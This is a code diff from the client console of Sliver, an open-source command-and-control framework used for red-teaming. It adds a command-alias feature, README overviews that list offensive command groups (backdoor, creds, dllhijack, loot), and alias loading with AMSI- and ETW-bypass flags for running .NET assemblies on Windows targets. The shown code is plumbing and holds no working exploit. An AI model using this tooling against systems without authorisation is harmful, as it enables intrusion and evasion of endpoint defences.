||||
|
||||
func ReadRCScript(cmd *cobra.Command) (string, error) {
|
||||
if cmd == nil {
|
||||
return "", nil
|
||||
}
|
||||
if cmd.Flags().Lookup(RCFlagName) == nil {
|
||||
return "", nil
|
||||
}
|
||||
rcPath, err := cmd.Flags().GetString(RCFlagName)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if rcPath == "" {
|
||||
return "", nil
|
||||
}
|
||||
data, err := os.ReadFile(rcPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
+64
-11
@@ -1,14 +1,67 @@
|
||||
Command
|
||||
=======
|
||||
# client/command
|
||||
|
||||
This package contains all of the client command implementations that are shared between the client and the server console.
|
||||
## Overview
|
||||
|
||||
### Developers
|
||||
Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions. Core logic addresses sliver within the command package.
|
||||
|
||||
General guidance on the structure of this package:
|
||||
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
|
||||
* The root command, and reused code should go into the file named after the command
|
||||
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
|
||||
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
|
||||
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
|
||||
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
|
||||
## Go Files
|
||||
|
||||
- `command.go` – Provides helpers for binding Cobra commands, flag sets, and visibility filters into the client command tree.
|
||||
- `server.go` – Defines the server menu composition, wiring each server-side command group onto the root console structure at runtime.
|
||||
- `main.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
|
||||
|
||||
## Sub-packages
|
||||
|
||||
- `alias/` – Implements the 'alias' command group for the Sliver client console.
|
||||
- `armory/` – Implements the 'armory' command group for the Sliver client console.
|
||||
- `backdoor/` – Implements the 'backdoor' command group for the Sliver client console.
|
||||
- `beacons/` – Implements the 'beacons' command group for the Sliver client console.
|
||||
- `builders/` – Implements the 'builders' command group for the Sliver client console.
|
||||
- `c2profiles/` – Implements the 'c2profiles' command group for the Sliver client console.
|
||||
- `certificates/` – Implements the 'certificates' command group for the Sliver client console.
|
||||
- `clean/` – Implements the 'clean' command group for the Sliver client console.
|
||||
- `completers/` – Implements the 'completers' command group for the Sliver client console.
|
||||
- `crack/` – Implements the 'crack' command group for the Sliver client console.
|
||||
- `creds/` – Implements the 'creds' command group for the Sliver client console.
|
||||
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
|
||||
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
|
||||
- `edit/` – Implements the 'edit' command for the Sliver client console.
|
||||
- `environment/` – Implements the 'environment' command group for the Sliver client console.
|
||||
- `exec/` – Implements the 'exec' command group for the Sliver client console.
|
||||
- `exit/` – Implements the 'exit' command group for the Sliver client console.
|
||||
- `extensions/` – Implements the 'extensions' command group for the Sliver client console.
|
||||
- `filesystem/` – Implements the 'filesystem' command group for the Sliver client console.
|
||||
- `flags/` – Implements the 'flags' command group for the Sliver client console.
|
||||
- `generate/` – Implements the 'generate' command group for the Sliver client console.
|
||||
- `help/` – Implements the 'help' command group for the Sliver client console.
|
||||
- `hosts/` – Implements the 'hosts' command group for the Sliver client console.
|
||||
- `info/` – Implements the 'info' command group for the Sliver client console.
|
||||
- `jobs/` – Implements the 'jobs' command group for the Sliver client console.
|
||||
- `kill/` – Implements the 'kill' command group for the Sliver client console.
|
||||
- `licenses/` – Implements the 'licenses' command group for the Sliver client console.
|
||||
- `loot/` – Implements the 'loot' command group for the Sliver client console.
|
||||
- `monitor/` – Implements the 'monitor' command group for the Sliver client console.
|
||||
- `mcp/` – Implements the 'mcp' command group for the Sliver client console.
|
||||
- `network/` – Implements the 'network' command group for the Sliver client console.
|
||||
- `operators/` – Implements the 'operators' command group for the Sliver client console.
|
||||
- `pivots/` – Implements the 'pivots' command group for the Sliver client console.
|
||||
- `portfwd/` – Implements the 'portfwd' command group for the Sliver client console.
|
||||
- `privilege/` – Implements the 'privilege' command group for the Sliver client console.
|
||||
- `processes/` – Implements the 'processes' command group for the Sliver client console.
|
||||
- `reaction/` – Implements the 'reaction' command group for the Sliver client console.
|
||||
- `reconfig/` – Implements the 'reconfig' command group for the Sliver client console.
|
||||
- `registry/` – Implements the 'registry' command group for the Sliver client console.
|
||||
- `rportfwd/` – Implements the 'rportfwd' command group for the Sliver client console.
|
||||
- `screenshot/` – Implements the 'screenshot' command group for the Sliver client console.
|
||||
- `sessions/` – Implements the 'sessions' command group for the Sliver client console.
|
||||
- `settings/` – Implements the 'settings' command group for the Sliver client console.
|
||||
- `shell/` – Implements the 'shell' command group for the Sliver client console.
|
||||
- `shikata-ga-nai/` – Implements the 'shikata-ga-nai' command group for the Sliver client console.
|
||||
- `socks/` – Implements the 'socks' command group for the Sliver client console.
|
||||
- `taskmany/` – Implements the 'taskmany' command group for the Sliver client console.
|
||||
- `tasks/` – Implements the 'tasks' command group for the Sliver client console.
|
||||
- `update/` – Implements the 'update' command group for the Sliver client console.
|
||||
- `use/` – Implements the 'use' command group for the Sliver client console.
|
||||
- `wasm/` – Implements the 'wasm' command group for the Sliver client console.
|
||||
- `websites/` – Implements the 'websites' command group for the Sliver client console.
|
||||
- `wireguard/` – Implements the 'wireguard' command group for the Sliver client console.
|
||||
@@ -0,0 +1,23 @@
|
||||
# client/command/aka
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'aka' command group for the Sliver client console. "Aka"s are
|
||||
command aliases (like 'alias' in 'bash') that allow operators to specify
|
||||
shorthand commands and default arguments for commonly used commands.
|
||||
|
||||
### Examples:
|
||||
|
||||
- `aka create bg background`: Allows an operator to run `bg` from the implant
|
||||
menu to quickly move back to the server menu
|
||||
- `aka create execw execute -o "C:\Windows\System32\cmd.exe" /c`: Shorthand for
|
||||
executing binaries on Windows targets like: `execw arp -a`
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Wires Cobra commands for listing, creating, and deleting command aliases in the client console.
|
||||
- `create.go` – Handles creating command aliases to use by the client.
|
||||
- `delete.go` – Removes command aliases currently tracked by the client.
|
||||
- `hook.go` – The main hooking logic to intercept commands ran by the client console. The hook will intercept processing before hitting the Cobra tree to transform the command alias to a full command with default arguments from the command alias and user-provided arguments to the alias.
|
||||
- `list.go` - Lists the current command aliases tracked by the client.
|
||||
- `storage.go` - Supports the saving of aliases to disk to keep between runs of the client.
|
||||
@@ -0,0 +1,59 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func ServerCommands(con *console.SliverClient) []*cobra.Command {
|
||||
return commands(con, constants.GenericHelpGroup)
|
||||
}
|
||||
|
||||
func ImplantCommands(con *console.SliverClient) []*cobra.Command {
|
||||
return commands(con, constants.SliverCoreHelpGroup)
|
||||
}
|
||||
|
||||
func commands(con *console.SliverClient, group string) []*cobra.Command {
|
||||
akaCommand := &cobra.Command{
|
||||
Use: "aka",
|
||||
Short: "Manage command aliases (aka's)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AkaListCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: group,
|
||||
}
|
||||
|
||||
createAka := &cobra.Command{
|
||||
Use: "create <alias> <command> [args...]",
|
||||
Short: "Create a new command alias (aka)",
|
||||
Args: cobra.MinimumNArgs(2),
|
||||
DisableFlagParsing: true, // No flags with aka create so we capture flags to other commands
|
||||
DisableFlagsInUseLine: true,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AkaCreateCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
createAka.InitDefaultHelpFlag()
|
||||
createAka.Flags().Lookup("help").Hidden = true
|
||||
akaCommand.AddCommand(createAka)
|
||||
|
||||
deleteAka := &cobra.Command{
|
||||
Use: "delete <alias>",
|
||||
Short: "Delete a command alias (aka)",
|
||||
Args: cobra.MinimumNArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AkaDeleteCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
akaCommand.AddCommand(deleteAka)
|
||||
|
||||
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, Cmdhook)
|
||||
|
||||
err := LoadAkaAliases()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load aka alises: %s\n", err)
|
||||
}
|
||||
|
||||
return []*cobra.Command{akaCommand}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func AkaCreateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
aliasName := args[0]
|
||||
command := args[1]
|
||||
defaultArgs := args[2:] // anything else is going to be the default args to the alias
|
||||
|
||||
if _, exists := akaAliases[aliasName]; exists {
|
||||
con.PrintErrorf("Alias '%s' already exists\n", aliasName)
|
||||
return
|
||||
}
|
||||
|
||||
var desc string
|
||||
if len(defaultArgs) == 0 {
|
||||
desc = fmt.Sprintf("%s", command)
|
||||
} else {
|
||||
desc = fmt.Sprintf("%s %s", command, strings.Join(defaultArgs, " "))
|
||||
}
|
||||
|
||||
alias := &AkaAlias{
|
||||
Name: aliasName,
|
||||
Command: command,
|
||||
DefaultArgs: defaultArgs,
|
||||
Description: desc,
|
||||
}
|
||||
|
||||
akaAliases[aliasName] = alias
|
||||
|
||||
// save this new alias to disk
|
||||
err := SaveAkaAliases()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save alias '%s' to disk: %s\n", aliasName, err)
|
||||
// we still technically added it to the map, so the alias did get created in
|
||||
// memory so we should still print the Info message below
|
||||
}
|
||||
|
||||
con.PrintInfof("Create alias for '%s' -> '%v'\n", aliasName, alias.Description)
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func AkaDeleteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
aliasName := args[0]
|
||||
if _, exists := akaAliases[aliasName]; !exists {
|
||||
con.PrintErrorf("Alias '%s' does not exist\n", aliasName)
|
||||
return
|
||||
}
|
||||
|
||||
delete(akaAliases, aliasName)
|
||||
|
||||
// Save updated map to disk
|
||||
err := SaveAkaAliases()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save aliases to disk: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Deleted alias '%s'\n", aliasName)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Cmdhook(args []string) ([]string, error) {
|
||||
if len(args) == 0 {
|
||||
return args, nil
|
||||
}
|
||||
|
||||
if aliasArgs, exists := akaAliases[args[0]]; exists {
|
||||
var expandedArgs []string
|
||||
|
||||
expandedArgs = append(expandedArgs, aliasArgs.Command)
|
||||
expandedArgs = append(expandedArgs, aliasArgs.DefaultArgs...)
|
||||
// join the user passed args so the shell processes it without flags if
|
||||
// available
|
||||
if len(args[1:]) > 0 {
|
||||
expandedArgs = append(expandedArgs, strings.Join(args[1:], " "))
|
||||
}
|
||||
|
||||
return expandedArgs, nil
|
||||
}
|
||||
|
||||
return args, nil
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func AkaListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if len(akaAliases) == 0 {
|
||||
con.PrintInfof("No command aliases created. Use `aka create` to create one.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Alias",
|
||||
"Command",
|
||||
})
|
||||
|
||||
for alias, cmd := range akaAliases {
|
||||
tw.AppendRow(table.Row{
|
||||
alias,
|
||||
cmd.Description,
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package aka
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
)
|
||||
|
||||
type AkaAlias struct {
|
||||
Name string `json:"name"` // alias Name
|
||||
Command string `json:"command"` // command being aliased
|
||||
DefaultArgs []string `json:"default_args"` // args passed by the user
|
||||
Description string `json:"description"`
|
||||
}
|
||||
|
||||
var akaAliases = make(map[string]*AkaAlias)
|
||||
|
||||
const (
|
||||
akaAliasFileName = "aka-aliases.json"
|
||||
)
|
||||
|
||||
func GetAkaAliasesFilePath() string {
|
||||
return filepath.Join(assets.GetRootAppDir(), akaAliasFileName)
|
||||
}
|
||||
|
||||
func LoadAkaAliases() error {
|
||||
filepath := GetAkaAliasesFilePath()
|
||||
data, err := os.ReadFile(filepath)
|
||||
if err != nil {
|
||||
// if file hasn't been created yet, we fail gracefully
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
// otherwise, return the actual error; something else went wrong
|
||||
return err
|
||||
}
|
||||
|
||||
aliases := []AkaAlias{}
|
||||
err = json.Unmarshal(data, &aliases)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
akaAliases = make(map[string]*AkaAlias)
|
||||
|
||||
for _, alias := range aliases {
|
||||
akaAliases[alias.Name] = &alias
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func SaveAkaAliases() error {
|
||||
filepath := GetAkaAliasesFilePath()
|
||||
aliases := make([]*AkaAlias, 0, len(akaAliases))
|
||||
for _, alias := range akaAliases {
|
||||
aliases = append(aliases, alias)
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(aliases, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return os.WriteFile(filepath, data, 0o600)
|
||||
}
|
||||
@@ -1,11 +1,14 @@
|
||||
Alias
|
||||
===========
|
||||
# client/command/alias
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
## Overview
|
||||
|
||||
Implements the 'alias' command group for the Sliver client console. Handlers map Cobra invocations to alias workflows such as install, load, and remove.
|
||||
|
||||
## Go Files
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
- `alias.go` – Implements runtime alias management, printing installed aliases and exposing tab-completion helpers.
|
||||
- `alias_test.go` *(tests)* – Exercises manifest parsing logic to ensure alias metadata is interpreted correctly.
|
||||
- `commands.go` – Wires Cobra commands for listing, installing, loading, and removing aliases into the client console.
|
||||
- `install.go` – Handles installing alias bundles from directories or archives, writing manifests and payload artifacts to disk.
|
||||
- `load.go` – Loads alias manifests, validates target compatibility, and registers commands against the active console.
|
||||
- `remove.go` – Removes installed aliases, prompting for confirmation and deleting associated on-disk assets.
|
||||
@@ -1,6 +1,7 @@
|
||||
package alias
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
aliasCmd.AddCommand(aliasLoadCmd)
|
||||
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
|
||||
|
||||
aliasInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr + " [ALIAS]",
|
||||
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
aliasCmd.AddCommand(aliasInstallCmd)
|
||||
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
|
||||
|
||||
aliasRemove := &cobra.Command{
|
||||
Use: consts.RmStr + " [ALIAS]",
|
||||
|
||||
@@ -24,9 +24,9 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -62,8 +62,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -114,7 +113,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
|
||||
} else {
|
||||
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
}
|
||||
con.PrintErrorf(errorMsg)
|
||||
con.PrintErrorf("%s", errorMsg)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
@@ -122,8 +121,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
|
||||
+174
-12
@@ -27,15 +27,16 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/carapace-sh/carapace"
|
||||
app "github.com/reeflective/console"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -76,6 +77,16 @@ type AliasFile struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasArgument - An argument for an alias command.
|
||||
type AliasArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
Choices []string `json:"choices,omitempty"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata.
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
@@ -89,6 +100,7 @@ type AliasManifest struct {
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Arguments []*AliasArgument `json:"arguments"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
@@ -158,15 +170,60 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
|
||||
// Build usage string including arguments
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(aliasManifest.CommandName)
|
||||
for _, arg := range aliasManifest.Arguments {
|
||||
usage.WriteString(" ")
|
||||
if arg.Optional {
|
||||
usage.WriteString("[")
|
||||
}
|
||||
usage.WriteString(strings.ToUpper(arg.Name))
|
||||
if arg.Optional {
|
||||
usage.WriteString("]")
|
||||
}
|
||||
}
|
||||
|
||||
// Build long help message
|
||||
longHelp := strings.Builder{}
|
||||
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
|
||||
longHelp.WriteString(usage.String())
|
||||
longHelp.WriteString("\n")
|
||||
if len(aliasManifest.Help) > 0 || len(aliasManifest.LongHelp) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
|
||||
if len(aliasManifest.Help) > 0 {
|
||||
longHelp.WriteString(aliasManifest.Help)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
if len(aliasManifest.LongHelp) > 0 {
|
||||
longHelp.WriteString(aliasManifest.LongHelp)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
}
|
||||
if len(aliasManifest.Arguments) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
|
||||
for _, arg := range aliasManifest.Arguments {
|
||||
longHelp.WriteString("\n\t")
|
||||
optStr := ""
|
||||
if arg.Optional {
|
||||
optStr = "[OPTIONAL]"
|
||||
}
|
||||
aType := arg.Type
|
||||
if aType == "wstring" {
|
||||
aType = "string"
|
||||
}
|
||||
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
||||
}
|
||||
}
|
||||
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
|
||||
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
|
||||
|
||||
// for each alias command, add a new app command
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &cobra.Command{
|
||||
Use: aliasManifest.CommandName,
|
||||
Use: usage.String(),
|
||||
Short: helpMsg,
|
||||
Long: longHelpMsg,
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runAliasCommand(cmd, con, args)
|
||||
},
|
||||
@@ -182,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.BoolP("in-process", "i", false, "Run in the current sliver process")
|
||||
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
}
|
||||
|
||||
@@ -196,6 +253,10 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
|
||||
// Setup completions for alias arguments
|
||||
comps := carapace.Gen(addAliasCmd)
|
||||
makeAliasArgCompleter(aliasManifest, comps)
|
||||
|
||||
cmd.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
@@ -311,10 +372,9 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
con.PrintWarnf(msgStr)
|
||||
con.PrintWarnf("%s", msgStr)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -590,3 +650,105 @@ func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
|
||||
app.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
|
||||
// makeAliasArgCompleter builds the positional and dash arguments completer for the alias.
|
||||
// It provides completion for:
|
||||
// 1. Positional arguments (before --)
|
||||
// 2. Flag-style arguments after -- (e.g., --target, --port)
|
||||
func makeAliasArgCompleter(alias *AliasManifest, comps *carapace.Carapace) {
|
||||
if len(alias.Arguments) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range alias.Arguments {
|
||||
var action carapace.Action
|
||||
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
action = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("alias data")
|
||||
default:
|
||||
action = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
|
||||
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
|
||||
if arg.Optional {
|
||||
usage += " (optional)"
|
||||
}
|
||||
|
||||
actions = append(actions, action.Usage("%s", usage))
|
||||
}
|
||||
|
||||
comps.PositionalCompletion(actions...)
|
||||
|
||||
// Add dash completion for flag-style arguments after --
|
||||
// Pre-build the flag completions at registration time (not in a callback)
|
||||
flagCompletion := makeAliasFlagNameCompletion(alias)
|
||||
|
||||
// Build value completions for each argument type
|
||||
valueCompletions := make(map[string]carapace.Action)
|
||||
for _, arg := range alias.Arguments {
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
|
||||
case "bool":
|
||||
valueCompletions[arg.Name] = carapace.ActionValues("true", "false").Tag("boolean")
|
||||
default:
|
||||
valueCompletions[arg.Name] = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Use DashAnyCompletion with a smart action that determines context
|
||||
comps.DashAnyCompletion(
|
||||
carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
// If typing a flag (starts with -)
|
||||
if strings.HasPrefix(c.Value, "-") {
|
||||
return flagCompletion
|
||||
}
|
||||
|
||||
// If previous arg was a flag, complete its value
|
||||
if len(c.Args) > 0 {
|
||||
lastArg := c.Args[len(c.Args)-1]
|
||||
if strings.HasPrefix(lastArg, "-") {
|
||||
flagName := strings.TrimLeft(lastArg, "-")
|
||||
if action, ok := valueCompletions[flagName]; ok {
|
||||
return action
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Default: show flag names
|
||||
return flagCompletion
|
||||
}),
|
||||
)
|
||||
}
|
||||
|
||||
// makeAliasFlagNameCompletion creates completion for flag names
|
||||
func makeAliasFlagNameCompletion(alias *AliasManifest) carapace.Action {
|
||||
var results []string
|
||||
|
||||
for _, arg := range alias.Arguments {
|
||||
flagName := fmt.Sprintf("--%s", arg.Name)
|
||||
desc := arg.Desc
|
||||
if arg.Optional {
|
||||
desc = fmt.Sprintf("[optional] %s", desc)
|
||||
}
|
||||
desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
|
||||
results = append(results, flagName, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("alias arguments")
|
||||
}
|
||||
@@ -24,9 +24,9 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -39,8 +39,7 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
return
|
||||
}
|
||||
